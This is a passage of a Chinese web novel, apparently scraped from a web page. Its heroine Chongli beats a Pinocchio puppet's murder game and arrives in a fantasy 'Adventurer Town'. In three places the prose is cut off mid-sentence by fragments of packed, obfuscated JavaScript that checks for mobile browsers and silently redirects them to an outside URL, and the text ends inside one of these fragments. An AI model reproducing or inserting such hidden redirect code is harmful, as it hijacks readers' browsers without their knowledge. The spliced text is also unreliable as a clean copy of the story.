重黎笑眯眯:“哦,骗你的。” “那到底是谁啊?” “其实刚刚那句骗你的是骗你的。” “......”绕是好脾气的武落也有些破防,但他下意识就是不想对重黎发火,于是他克制克制小发雷霆,“不告诉我算了!” 这一句稍微有些大声,那边的图菟和胡威都看了过来。 图菟迟疑片刻,刚想往她们那边走,第三轮搜证开始了。 空间瞬间转换,这次空气中凭空出现了一个血红色的倒计时,时间一分一秒流逝。 图菟立马改变方向,去了胡威的房间。 胡威眉头一皱,咬牙控制自己不去看客厅中央那具尸体,去了羊花的房间。 黄毛看了眼站在窗边的重黎转身进了牛磊的房间。 重黎趴在窗边,这房子似乎被什么隔膜包裹了起来,虽然手伸不过去,但视线不受阻。 真神奇,外面的街道上有很多……动物人?穿着西装打着领带,提着公文包匆匆忙忙,这就是传说中的早八? 危险区出现之初,国家花大力气保存了人类文明的火种,虽然大部分东西已经消失,但是人们清楚地知道它们存在过。 其中有一个分类就是民俗,以前的早上八点去上班的人们会集中出行,非常地拥挤。在安全区一般不会有人员大量集中的时候,所以这样的场景重黎也是第一次看见,没想到居然是在动物城? 远处大楼上还播放着牛楠的演说视频,她穿着白色的西装,头发打理得干净利落,站在演讲台上神采飞扬。听不到她的声音,但有字幕。 “不论是草食动物还是肉食动物,我们一起建立了动物城,这里就是我们共同的家。是所有动物的力量联合在一起,我们才从人类的恐怖统治中站了起来,颠覆了被奴役的历史!而今,他们仍然试图染指动物城!我对此感到痛苦、不安和愤怒!我在此呼吁所有动物团结起来,不分草食肉食,我们不能任由那些该死的人类分裂我们,瓦解我们!就如同我和我的丈夫一样……” 重黎转头,看了一眼躺在地上的牛楠,看来她也有很遥远的梦想。 就在这时,黄毛拿着一张白色的床单从房间里走出来,利落地抖开,盖在了牛楠身上。 他盖好后还双手合十,默哀了三秒。 重黎心里想,不知道他听到牛楠这番和人类势不两立的言论以后还会选择这么做吗? 这么一想,她眉眼弯弯,对上黄毛眼神的瞬间,拉下围巾露出嘴巴一张一合说出了一个名字,没有发出声音。 黄毛一怔,在空间切换的晕眩感来临之时,他下定了决心。 奶奶保佑他吧,凶手一定要是这个小女孩儿指认的,那个图菟。 4. 谁杀了她3 “第三轮搜证结束,请选择你的检举对象。” 此时会客厅周围的装饰已经全部消失,只剩下皮先生和他们四人。 图菟一脸犹豫,试图交流,但却发不出一点声音。 而黄毛则是看了一眼早就做完选择的重黎,一咬牙做出了选择。 三人都已经做出了选择,而胡威却迟迟没有动弹,他迎着皮先生的视线,呼吸渐渐急促。 皮先生丢下了手中的报纸,“啪嗒啪嗒”歪歪扭扭地走向胡威,一张木头脸上嘴咧得越来越大,就在即将靠近胡威的时候,胡威心一横做出了选择。 皮先生顿住,全身的木头嘎吱嘎吱作响。 机械音响起:“游戏结束,通关人数:3。欢迎登录冒险者小镇。” 声音结束,皮先生的嘴瞬间张大,将面前的胡威吞了下去,没有留下一根毛发。 现场一片死寂。 皮先生他下巴一合发出一声清脆的撞击声,三人死死盯着它,明明是一张木头脸,却在此刻看见了餍足感。 三人的样子已经变回了人类,短发女人双腿一软整个人瘫倒在地,她大口喘着气,一脸后怕。 皮先生仔细将她们三个看了一圈,脸上带着些可惜,最后停在短发女人面前:“唉,皮先生还没吃饱呢。” 短发女人一听这话瞬间往后爬了一大截,冷汗直冒。 然而游戏已经结束了,皮先生没有再做什么,而是走回了桌子上首。 重黎收回视线对上了短发女人的视线,女人笃定的语气:“你们找到了确切的线索。” 黄毛转头看向重黎,短发女人见状便知道了,是这个小女孩儿。 重黎此时正在打量黄毛。头发是染的,耳朵上打着一排耳钉,十分晃眼。一身鬼火装扮却长了一张短圆脸,眼睛也大,笑起来还有虎牙,看起来活力十足。 重黎向上扯了扯围巾,莫名有点像重曜。 “你是怎么发现的?” 重黎把围巾往脸上扯了扯,靠近黄毛一步,黄毛立刻上前挡住了重黎。 重黎从黄毛身后探出头:“我为什么要告诉你?” 短发女人眼神一暗,恢复了镇静,她笑着说:“游戏到现在还没有把我们弹出去,说不定是皮先生也想知道呢?” 重黎看着桌子上首好似在看戏的皮先生一顿,然后笑了:“行啊。” “我是怎么发现的?”重黎从黄毛身后走出来,坐到了她原来的位置上,“很多地方吧。” “第一点,你说的很对。” 短发女人一愣:“我?” “对,时间太短了。搜证时间只有三分钟,我们几个人做不到。然而这不是用来排除你的嫌疑的证据,而是作为一个对比。”重黎双手撑着下巴,“相对于搜证时间,你们不觉得休息时间太多了吗?” 短发女人一愣:“可能这是让我们交换信息的时间……” 话没说完她顿住了,重黎接着说道:“我们也不是分开搜证,那期间不同样可以交换信息?所以为什么要设置单独的休息时间?这件事非常不合理,只能理解为这间会客厅里有待的必要,那只能是线索了,总不至于是让我们在这里接受一下邪恶木偶的恐吓吧?” “第二点,既然这个类似于系统一样的语音可以播报控制进程,那么,皮先生为什么存在?仅仅是作为恐怖元素的叠加,给我们增加一点心理负担吗?他的存在必然有理由,而且他的眼睛真的能看见吗?” 黄毛转头看向木偶,仔细回想木偶的表现,确实,木偶好像没有正眼看过他们,好像,黄毛一拍脑袋:“是声音!” 重黎点头:“对,没有眼睛那么它会看报纸吗?” “不会!” 重黎:“所以这个房间里这么多东西,只有一个有用,报纸。” “报纸上有很多新闻,牛楠的报道铺天盖地,而反而是其中两条无关于她的消息异常显眼。” “一,皮先生拿着的报纸背面,神秘科研所宣称A型对猛兽药剂,能激发远超自身数十倍的力量。副作用,使用后24小时内全身伴以紫色网状疤痕以及腐烂玫瑰的臭味。” “二,那边架子上最表层的动物城日报,报道了一场草食动物的抗议游行,照片里图菟的右手臂外侧纹着科研所的徽章。” “而你,哦不,图菟在夏天却仍然裹得密不透风,想必衣服下面此刻应该仍然是遍布网状疤痕的吧。” 短发女人脸上微妙:“我确实在变成图菟后感觉到身体有些不对劲。” “感到到不对劲的原因不是身体,而是那瓶药剂吧?那不是你带进来的东西,而是你变成图菟后突然出现的。” 黄毛一旁突然跳起来:“哇!我就说不对,怎么就你能带,危险区里还有关系户呢?” 短发女人:“是,我莫名就知道那瓶药剂的存在,也知道它的作用。整个房子里有很多地方都涉及到药剂,所以我才猜测,图菟身上不简单。” “哇,那也太不公平了吧?”黄毛挠头,“难道你真是关系户?” “不是。那是提示,就像你,哦,牛磊对危险的敏感度很高,明明图菟是看起来最弱小的,为什么你对她有下意识的警惕?” 黄毛一下愣住:“对啊,我一开始看着她就觉得莫名的危险。” “除了你,山羊的鼻子很好,能闻到腐烂的味道,胡威吃过尸体的肉,他自身也受到了牛楠体内没有代谢的药剂的影响。每个人或多或少都有相应的指向药剂的线索,结合游行的照片都能得到结论。” “这还是不符合F级副本的水准。”短发女人皱眉。 “我也觉得难了些。”重黎转头看向皮先生,“所以皮先生不是给出了提示吗?” “第二轮结束后,也就是最后一个休息时间,它说‘皮先生很快就要饱餐一顿了’,明明按照总的时间来说,那个时候才过了一半多一点,为什么这么肯定?” “所以,我问了它。” “我想起来了!它说我们都会死在这里!” “对,如果错过第二轮休息时间,线索就会消失。所以它在提醒我们,这是最后的机会。” 短发女人失语片刻,然后自嘲道:“你真的很聪明,不像我,赌的成分更多些。” “你也很聪明,众所周知杀人是要偿命的,谁都不能确定作为凶手的人被选出来会怎么样?一开始的系统播报是公放的,我们在场的每个人都能听到。播报的内容是让我们找出凶手,是我们四个人都要找。所以,大概率凶手也不知道自己是凶手,从后续所有人的表现来看,证实了这点。”重黎指了指头顶,这里已经没有了光标:“而做出最后决定的理由也很简单,我们是冒险者,而不是嫌疑犯。所以真正的凶手,是图菟,不是你。即使是赌你也选对了不是吗,运气也是实力的一种。” 重黎一口气讲完,又重新把围巾拉了回去,琥珀色的眼睛如同琉璃一般澄澈:“那个大叔不是说了吗?怀疑一切但保持思考。” 短发女人一愣,倒是没想到那人简单的一句话重黎居然记得这么清楚,她眼神复杂地看着重黎:“也许你们不知道,虽然初次登录筛选我们经历的副本都属于危险区,但作为签署了志愿书的我们,探索者总部是有办法知道各个副本的情况的,说不定现在就有人在看着我们,以你的表现应该不用愁了。” 黄毛一下紧张住了,只说要通关,可没说还有考官打分呢,即使是堪称末世的现在,黄毛也是完成了九年义务教育的学生,被考试支配形成的肌肉记忆让他一下子紧绷起来。 反观重黎,却没什么变化,只见重黎的视线直直地看着皮先生:“你觉得我的演说精彩吗,匹诺曹先生?” 刚才还呵呵乐的皮先生一僵:“我不知道你在说什么?” “啊,鼻子又变长了,匹诺曹先生。第一次,你说我们都会死在这里。第二次,你说皮先生从不说谎。第三次,就是刚刚哦。匹诺曹先生,你当然知道我在说什么。” 虽然变长的程度只有一点点,但一开始就盯着匹诺曹看的重黎还是发现了,尤其是前两次撒谎的时间太过接近,变化相对比较明显。 也是刚刚短发女人提醒了她,为什么她们还在这个空间里没有离开,必然还有一些其他可以做的事情。 一个姓皮的鼻子会变长的木偶,很难不联想到匹诺曹。而且她也只是试试,毕竟也不会有什么惩罚,吧? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501953|202782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“啪~” 一个小小的礼花在空中炸开,一道分不出男女的童声响起:“恭喜冒险者重黎找到彩蛋一枚~彩蛋时间到此结束,恭喜各位冒险者成功登录,获得兽人体验券*3,冒险经验+10,开启属于你的冒险吧!” 这次的白光一闪过后,会客厅内只剩下重黎一个人。 和一只木偶。 匹诺曹已经变了一个样子,黑色背心、浅黄色衬衫和亮红色短裤,头发梳的整整齐齐,还有那标志性的长鼻子。 重黎点头,和她在书上看到的匹诺曹一模一样,她凑上去想摸一下它的衣服。 “啪——” 重黎手被打开了,匹诺曹抬起下巴:“别碰我,我最讨厌人类了!” 然而话音刚落它的鼻子就像动画里那样瞬间长了一大截,匹诺曹连忙捂住鼻子:“不对不对!我喜欢我最喜欢人类行了吧!” 匹诺曹诚实地承认之后,鼻子又缩了回去。 重黎颇为新奇地看着匹诺曹,它脸上居然还能看得出来害羞的表情。 匹诺曹目露红光:“我喜欢吃人类。” 这一次它的鼻子也没有变长,然而没有在重黎脸上看到熟悉的恐惧,它尴尬地咳了两声:“咳,好,好吧,既然你这个人类通关了我的游戏,还认出了我就是大名鼎鼎的匹诺曹。那么匹诺曹大人可以允许你带走这个房间里的一样东西。但是带走的东西怎么样,嘻嘻嘻,就要看你自己的眼力了。” “真的什么都可以吗?” 匹诺曹挺起胸脯:“当然,匹诺曹大人可是童话镇上最有名的收藏家,区区一件道具算不了什么。” 说完匹诺曹手一挥,整个会客厅的白色褪去,不知名怪物的头骨、无数顶精致的帽子、甚至还有一滩烂泥,整个房间十分混乱和割裂。 好乱。 重黎看了一眼就收回了视线,直直盯着匹诺曹:“那我可以把你带走吗?” 匹诺曹先是一愣,然后气得一米蹦到两米高:“你这个该死的人类!你才是东西!你们全家都是东西!” 重黎被它突然放大的声音震得耳膜疼,她咳嗽两声:“好吵。” “快选!选完快点离开!” 重黎环顾四周,最终还是把视线落到了匹诺曹身上,她抬起手指指向它的胸口。 “都说了不能选……”匹诺曹突然没了声,因为它看清了重黎指的方向,是它的胸口。 “那我就要这朵玫瑰吧。”这玫瑰重黎一开始是觉得和匹诺曹画风不符才多看了几眼,到后面却觉得有几分眼熟,记不得在哪里见到过。 匹诺曹一下像被抽走了命杆的木偶,停住了。 “不行!不可以!” 重黎疑惑,不是说什么都可以吗?怎么这也不行那也不行? “叮——彩蛋礼物选择完成,恭喜获得匹诺曹的真心玫瑰,冒险者小镇传送中。” “还给我!那是我的东西!!!你这个该死的人类!我要杀了你!!啊啊啊啊啊——” 匹诺曹的叫声不绝于耳,几乎震得重黎两眼发晕,蹲在地上好一会儿才回过神。 刚才那道分不出男女的童声再次响起。 “滴,冒险者10317894登录成功,欢迎来到冒险者小镇。” 她此刻正站在一条黄色的土路上,周围全是起伏的山坡,没有风沙也不是清一色的土黄色。进副本时消失的背包又突然出现在了背上。 重黎一屁股坐在地上,抬头的瞬间眼睛瞪大,道路的尽头是一片郁郁葱葱的树林,树枝中间隐隐可见到处乱窜的小动物!低低矮矮的彩色木屋若影若现。 “那就是,冒险者小镇?” 手背上的金印突然发出一阵金光吸引了重黎的注意,下一秒她手中多了一个小巧的铜面罗盘。 重黎定定看着手上的罗盘,这个罗盘她见过,不过重汐的是金色的。 然而罗盘上的指针不管重黎怎么转向,都一动不动。是坏的?重黎拿起来使劲摇了摇。 罗盘像灯球一样突然开始闪烁乱七八糟的光芒,一道成熟女音开始了播报。 “冒险者10317894登录筛选结束,夏娃一号系统搭载中。” 5. 登录冒险者小镇 “夏娃一号系统搭载成功,冒险者10317894身份信息核实中。” “滴——核实完毕,登入成功。” “冒险者重黎信息更新完毕,请查收个人信息报告。” 话音落下,罗盘上突然投射出一个金色的光幕,然后没了动静。 一连串的步骤其实只用了不到十秒,还有些懵逼的重黎终于回过神,她伸出右手试图点击空气中的光幕。 然而却直接穿过了光幕,什么东西?不能摸?这样她怎么打开个人信息报告? 随着念头一闪,光幕瞬间变换,一张个人信息报告出现在眼前。 重黎尝试了几次,终于发现罗盘似乎和自己的意识绑定了,只要在脑内下达指令就可以使用意念控制打开报告。 冒险者重黎个人面板: 身份ID:10317894 体质:2 精神抗性:7 魅力值:-10 天赋:无 技能:无 绑定道具:匹诺曹的真心玫瑰 探索履历:《谁杀了她》-S 冒险者等级:1(10/100) 探索者贡献值:0 探索者综合评级:F- 面板最上方,一排字红色加粗:污染值:0。下方一个扳手模样的按钮,是道具栏,里面分了两类。 一类是消耗类道具,有使用时间或者次数限制的道具。兽人体验券*3,效果:可以变身兽人体验时间十分钟;蓝胡子的菜刀*1,效果:锋锐,使用次数7/10。 重黎摸了摸背包,果然没有在里面发现菜刀,那这把刀就是她带进来的。 另外一类则是可以直接显示在面板上的绑定道具,目前只有一个,匹诺曹的真心玫瑰。 绑定道具似乎要复杂得多,重黎点开道具说明。 【匹诺曹的真心玫瑰 类别:判定触发类道具。 效果:使用者持续三天只说真话,则使用者能指定对象听取心声十秒;使用者若说假话,根据严重性判定,生命值下降50%-99%不等。 道具描述:如果能听到心声,这个世界是否就没有了谎话?(划掉)该死的强盗!匹诺曹大人不会放过你的!!!】 重黎脸色一黑,匹诺曹一屋子的道具唯独把这个道具带在身上,她还以为是什么厉害的道具呢。一个撒谎是本能的木偶,带这种道具在身上是纯纯爱自虐吗? 而撒谎也是人类的本能,谁能保证自己不说谎?说没说谎怎么定义?肚子饿了说自己不饿算吗? 重黎仅用一秒就判断出这个道具对说谎就像呼吸一般自然的自己来说,几乎只有负面效果。 “解绑、解绑......”重黎“啪”一下关掉道具栏,“什么黑心游戏,怎么没有解绑健啊!” 算了,当做没有得到过这个道具就好了。 道具栏旁边还有三个点,此刻上面标着一个数字一。 没有人能忍住不点,重黎又“啪“”一下点进去,果然是消息栏。 此刻有一个萌萌红色肚兜小娃头像给她发来一条消息。 【夏娃: 新人须知: 1.镇上食物及住宿均需使用冒险值购买,冒险值可通过探索副本及交易获取。 2.请时刻注意自己的污染值,进入高危阈值将被冒险者小镇拒绝登录。 3.如非必要,请勿返回安全区。 请探索者尽快适应冒险者小镇,适应后可前往任务大厅领取副本探索任务。提示:副本分为F-S共7个等级,冒险者可进入副本范围等级为上下浮动1级,请慎重选择副本。人类探索的脚步永不停歇,请珍爱生命。】 【冒险者重黎您好,您的专属夏娃上线,请为我取一个名字吧~】 重黎看到面前的空格陷入了沉思,这还送宠物小精灵呢?说到宠物,就不得不提…… 【您的专属夏娃(大鹅)上线。】 【(大鹅)发来一条消息:傻x。】 重黎:???这怎么还骂人呢。 还没等重黎输入内容,对话框啪一下关掉了,脾气还挺大!鹅怎么了!她最喜欢抓大鹅了,胸口有些闷闷的。 重黎想直接把这破罗盘扔掉,突然,罗盘消失了。像刚才罗盘突然出现一样,罗盘也可以作为道具收回。 还挺识趣的,重黎嘟囔一声把目光投向远处的小镇,眼里露出兴奋的光芒,背起自己的大包朝小镇走去。 安全区大家都穿着黄色麻布长袍不同,这里的人......重黎看着又一个穿着盔甲搭西装裤的人路过时,找到了一个贴近的形容词,奇形怪状。 和民俗书里写的时装周一样,她欣赏不来。感觉过于正常的自己在其中格格不入,重黎扯了一下围巾继续朝前走。 接近小镇入口的这块区域似乎都是些住宅,木屋前围着一圈篱笆。 这里好像没有什么指示牌,重黎召唤出了罗盘准备看看有没有什么提示,一个灵活的身影突然窜到了她面前。 “姐姐!需不需要向导!我很便宜的!”满是小雀斑的脸上充满了谄媚。 重黎往后退了一步避开对方过于靠近的面孔:“不要,没钱。” “姐,别这样嘛。”对方绕着她转了一个圈,“看您这面色饱满,气宇轩昂,一定是新来的探索者!这镇上门道深得很,找一个向导不亏的!” “你怎么知道我是新来的?” “嗨,这简单,镇上的人大多数都来去匆匆,像你这样四处张望没有固定行进方向的多半都是新来的探索者!”小雀斑腹诽,没说的是这年头也只有探索者会不给新人做培训就直接扔进登录筛选,美其名曰原石才是预估价值的最好状态。 重黎握拳,藏住自己的罗盘:“探索者和冒险者不一样吗?” “当然不一样。只要通过冒险者登录筛选有正式ID的人,都是冒险者。而只有通过探索者试炼的人才能成为探索者,探索者协会是目前冒险者小镇上最大的协会。”小雀斑神神秘秘压低了声音,“这可是国家特殊部门,铁饭碗呢,这点向导费用对您来说就是洒洒水啦~考虑一下啊姐。” 重黎一手拉下围巾,扬起一个笑容:“不需要哦~” 看见重黎笑容的小雀斑以为看见了希望,笑得更加灿烂,两人在一个比一个灿烂的笑容下坚持了两秒后。 “砰——” 重黎被人撞得踉跄几步往旁边屋子的篱笆处扑去,一只手拉住了她的右手臂。 重黎朝前扑的趋势戛然而止,她迅速借力稳住身形。 重汐说,做事要先礼后兵,占据道德制高点打死都没人管。 重黎转头的瞬间,脸上就是三分惊恐、四分愤怒和五分委屈,拿捏得恰到好处。 旁边的小雀斑正高度关心今天自己的第一笔生意是否能开张呢,于是立刻冲上前,立马指责:“你没长眼......原来是江队长啊~” 面前的人侧脸线条干净利落,眉骨微微凸起,鼻梁高挺架着一副无框眼镜,一身黑色的西装衬得腰细腿长,身形挺拔,肩线利落得恰到好处。一头及腰长发更添几分清隽,美得雌雄莫辨。 他看着小雀斑:“这不是小串吗?怎么好久不见还有口音了呢?” 小雀斑一脸心虚:“您说笑了说笑了。” 然后长发男人才转向重黎,脸上带着温和沉稳的笑容,如同泉水一般清隽的声音就在她耳边响起:“没事吧。” 重黎心里第一个念头:好看,比重渊还好看。 第二个念头就是,糟糕,好像打不过,拉着她的手臂力量此刻她能直观感受到。 重渊说做人要学会智取,不能像重汐一样只会乱来,被人欺负了要知道回家叫家长。 或许知道重黎对别人的情绪感知很弱,可能被欺负了也没有自觉,所以最经常强调的就是叫家长这一条。 重黎突然心头一阵强烈的酸涩连带着喉咙都发紧,她现在没有家长了。 重黎瘪嘴,瞄着长发男手腕,不知道蓝胡子的菜刀砍不砍得动。 “抱歉。我现在有点急事,所以一时没注意。”还没有等重黎实施她的危险念头,对面的人先道了歉,他看了眼重黎手中的罗盘,“你是新来的探索者?” 重黎挣脱自己的右手,然后后退两步警惕地看着他,像只竖着耳朵的狐獴。 旁边的小雀斑见状打着圆场,冲重黎挤眉弄眼:“没事没事,你放心,这可是探索者协会如今2号小队的队长江霂,不会特意找咱们这种小人物麻烦的。最近探索者协会扩招,江队长事务繁忙也能理解。” 2号小队?重黎眼睛一亮,感觉他应该知道点什么的样子。 江霂:“你倒是难得挺闲啊,居然有时间在小镇门口当向导。” 小雀斑笑眯眯答复:“我就一个人,饿不死就能过,想干点什么就干什么咯,哪能和您比。” 两人假惺惺打了两句机锋,视线同时回到趁着两人说话时睁着双大眼睛盯着江霂的重黎身上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501954|202782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江霂眼里闪过一丝笑意,倒是一脉相承的胆子大,他咳嗽了两声:“咳,这位小姐,今天是我的不对,作为补偿,我帮你支付小串的向导费用,虽然他看起来不是很靠谱,但职业道德还算不错。” 重黎把红围巾往上扯了扯,听了开始怀疑一切,真的是2号小队的队长?这么宽的路都能撞到她,不会是这个小雀斑请来的托儿吧。 旁边小串咬牙切齿:“我职业道德相当牛逼的好吧!您老贵人多忘事,我叫李传,传,二声。” 然后转向重黎,小声说道:“妹儿啊,狗大户不吃白不吃啊。” 重黎敷衍一笑,没说话,刚才还是姐现在就变成妹儿了。 江霂手腕一翻拿出一个银色的罗盘看了一眼,似乎没有时间再等他们沟通,加快语速:“抱歉,我有点赶时间。我叫江霂,如果你以后有什么事情可以来协会大楼找我。小串,交给你了。” 然后向重黎礼貌点头后离开。 而另外一边的小串看了眼立马到账的冒险值,转头兴奋地拉住重黎的袖子:“我说就该吃狗大户,江队长这是给你买了个豪华套餐,妹儿,你放心,我保证知无不言。” 刚想跟上江霂的重黎:“放开。” 小串眼力见儿强得不是一点半点,见状诚恳地跟重黎说:“别想着跟踪他,那可是大名鼎鼎的江队,你一个新来的不要命啦。” 江霂只是几个眨眼间就消失在了重黎视线里,重黎对着小串笑得眉眼弯弯:“你也是探索者啊?” 小串浑身一抖,否认:“我?我可不是探索者,我只是一个普普通通没什么大志向的冒险者。” 重黎随即开口:“你对探索者的事情很清楚?” “嗨,这些都是常识了,你来的时间长了也会知道的。” “那江霂的罗盘为什么是银色的?” “这个啊。”小串儿手腕一翻,手中也出现一个罗盘,“这个是每个冒险者都有的东西,颜色不一样是因为冒险者等级不一样。冒险者等级是由夏娃一号系统官方认证的,分为F到S一共7个等级,对应副本的危险等级。银色罗盘是A级冒险者的身份证明,刚才那位江队长,来头大着呢。” “A级就是上将,那S级呢?” “S级,金色罗盘,那都得是传说中的1号小队才配有的东西。他们是人类英雄,那已经是另一个层面意义的存在了。” “......1号小队的人在哪儿?” 小串一脸谨慎,看了看四周,确定没什么人,这才凑到重黎耳边轻声说:“关于1号小队的消息,哪怕再无关紧要也都是绝密,要不是江队长给这么多钱,我可是不会说的。” “听说啊,1号小队最后的禁区之行,最后只回来了1个人,其他人......这都一年多了。” 未尽之意很明显,重黎捏着罗盘的手很用力,目标禁区! “哦对,妹儿。”小串从怀里掏出一张纸,“来,这算哥送你的,今天第一单生意,图个开门红。” 重黎接过皱皱巴巴的纸展开,是一张冒险者小镇地图。 小串在地图上比划:“你看啊,小镇门在这儿,我们现在的位置在中心大道上,离小镇门口不远。这条路会一直通向最中间这个音乐广场。看,在这儿。然后,这几个地方,你注意下。” “广场背后,探索者协会、饿狼兵团、橙武协会还有凌霄会一串公会的办公大楼都在这里,到时候你要是想去讹......咳,找江队长要赔偿可以去这里。” “前边是这个任务大厅,右边商业一条街,杂货店、面包店都在这里,有钱可以转转。” “广场左边,这里是住宿区,你一个女孩子最好选单人宿舍,既然你能通过探索者的登陆筛选,那你一定很厉害,加油升到C级探索者,可以找协会申请公寓。” “探索者的登陆筛选和普通的登陆筛选有什么不一样吗?” 小串双手抱在头顶上一边带着重黎往前走,一边解释:“区别啊?我想想。进入副本的方式有2种,1种是在任务大厅里随机选择,另外1种是你被打上标记后进入指定副本。你们签署危险区探索志愿书的时候,就相当于在你们身上做了标记,探索者协会的指定副本难度相较于冒险者普通登陆筛选会更高。所以我说你厉害呢~” F-怎么不算另外一种意义上的的厉害呢? 重黎大概心里有数,她收起了地图,转而问起了另一个她在意了很久的问题。 “什么叫,如非必要,请勿返回安全区?” 6. 汉斯的新娘1 听到问题的小串瞬间僵住,他一脸不可置信,声音拔高八个度:“你不知道这个就来了危险区?!” 重黎一脸莫名其妙:“有什么问题?” “你知道基因病吗?” “......知道。” “所有人都知道,基因病是危险区降临之后,某种不明物质和人类基因发生碰撞后造成的,进入危险区时你应该也看见了那道光幕,她叫云锦天衣,她不仅仅是边界线,更重要的是她可以减轻不明物质的污染症状,但就算这样部分脆弱的人类在安全区也会得基因病。而你选择走出庇佑,就注定时刻面对污染。” “所以......就是死得快一点的意思?” “当然不止,你的污染程度越高,你自己就越有可能成为污染源,更严重的甚至会自发圈地形成领域,也就是人造危险区,这种人会被冒险者小镇拒绝登陆。污染是不可逆而且具有传染性的,所以,国家建立了冒险者小镇,没有许可,我们不会被允许返回污安全区。” 小串看向重黎,然而奇怪的是她的眼睛却越来越亮,甚至上前一步追问道:“也就是说,在危险区也可以活下来对不对!” 小串一愣:“......话是这样说吧,但能活下去的人少之又少,而且能活下来又没有变成污染源的人无一不是顶尖的冒险者,这样的人我们称之为流浪者。以后如果遇见了,记得跑快点啊妹儿。” 重黎看着小串没说话,而是露出了一个甜甜的标准笑容。 一阵风吹过,他手臂上突然起了一串鸡皮疙瘩,怎么感觉毛毛的。 不知不觉,两人就已经走到了商业一条街。 一股子小麦的清香味儿瞬间勾走了重黎的魂儿,她如游魂一般凑到了街边的小摊旁。 前面正四处和人打招呼的李传发现重黎不见了回头来找,就见她一副被馋得没眼看的样子可怜巴巴。 李传一下笑了出来,此刻他心中隐隐的异样感才消退,感觉面前这个女孩儿变得真实了起来。 就江霂那死洁癖,平时恨不得别人离他八千里远,不小心撞到人?鬼信他都不信,江霂那蜂窝煤心眼子绝对不会浪费时间,这个女孩儿身上一定有点什么乐子,不枉他今天早上一大早就在镇门口等着。 李传眼珠子一转,走到重黎旁边,招呼正往小摊上摆面包戴着白色头巾的女人:“小安娜,来一个面包吧,今天招牌是什么啊?” “哟,小串先生,今天有新鲜的小麦软欧包,还热乎着呢,给你。” “谢谢。”李传接过面包就分了重黎一半。 重黎刚刚接过,小安娜却变了脸色:“这谁啊,怎么看起来一脸阴险,不像好人。” 李传愣住,在小安娜和重黎之间来回看了好几遍,愣是没在重黎那张干净、圆润可爱的脸上看出来阴险,半晌他结巴道:“不......不会吧。” 话还没说完,小安娜狠狠瞪了李传一眼,一下收起刚摆上小推车的面包回店里去了。 李传看重黎吭哧吭哧啃着欧包,宛若食物最虔诚的信徒,丝毫不在意小安娜的态度,发自内心地疑问:“你惹她了?” “没有啊。”重黎无辜地笑了笑,然后直勾勾盯着他手上剩余的一半欧包,“你还吃吗?” 于是李传又把自己的分了一半给她:“给你。那是为啥啊?小安娜算是难得对冒险者有好脸色的NPC了,一般情况下都不会黑脸的。” 重黎腮帮子塞的鼓鼓的,含糊不清的问道:“NPC?” “对啊,小镇上有些固定NPC,磨坊坊主、杂货铺老板、铁匠铺、还有这面包店的老板和部分学徒都是NPC。” “哦。” 重黎知道为什么了,一切只因为魅力值-10。 鬼知道这个魅力值是怎么算的,重黎有些费解,明明自己从小很受欢迎的,学校里的同学都争相和自己做朋友。 重黎鼓起腮帮子,难道NPC和人类的好感度机制相反? “哇!那是什么?” 李传顺着重黎的视线看到了五颜六色的糖果,是某种来历不明近期突然在小镇上火起来的糖果。但是他真的觉得很难吃啊,也不知道为什么这么火。 重黎蠢蠢欲动,但又碍于魅力值不敢轻举妄动,要是买不到怎么办。于是她就看着李传不说话。 两分钟后,李传开始怀疑人生,自己这笔到底是赚了还是亏大了啊? 而他旁边,重黎藏好剩余的糖果,拍拍手,决定先去任务大厅看看,然后再去找住的地方。 她刚转身,李传又跟了上来:“诶诶,你去哪儿啊,等等我,我带你去找住的地方!” 重黎脚步没停,把围巾重新围好,回复他:“我要先去任务大厅看看。” “任务大厅?你现在可不能忙着去探索副本啊,就算冒险者小镇是安全区和危险区之间的过渡区域,那也肯定比安全区更没有保障,你得先适应下再说接任务的事情。因为环境突变基因病一下爆发,身体扛不住嘎了的案例不是没有啊我告诉你。” “我就去看看。” 十分钟后,重黎看看眼前这个小小小木屋,又看看小串:“大?厅。” “诶,此言差矣,妹儿,以貌取人就是你的不对了。”李传潇洒捋了一下头发,“跟上。” 看他消失,重黎打量着绿色小木屋有些怀疑自己进去以后还站得下第四个人吗。 重黎看了眼手中的怀表,推开了门。 当重黎双脚踏过门槛的瞬间,瞳孔一缩,好大,她猛地抬头,好高。 面前是一个无比华丽的中庭,巨型彩色玻璃穹顶,雕花铁艺扶梯,让人物理意义的眼前一亮。 中庭到穹顶之间足有七层楼,而最奇特的是门,每一层楼那一排排如同复制粘贴的白色木门。有人打开大门进去,也有的木门金光一闪门口就突然出现了几个人,有凌乱不堪的也有欣喜若狂的,显然是刚从副本里出来。 “咚——” 重黎看得入迷,一个穿着黑色紧身衣带着纯白面具的男人毫不客气地擦着重黎过去带着她后退了几步,然后消失在门外。 李传赶紧跑过来,把她扶起来:“你没事吧。” 重黎揉了揉被撞的肩膀,摇了摇头。 然后她就看见了李传惊恐的表情。 重黎的右手臂突然开始发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 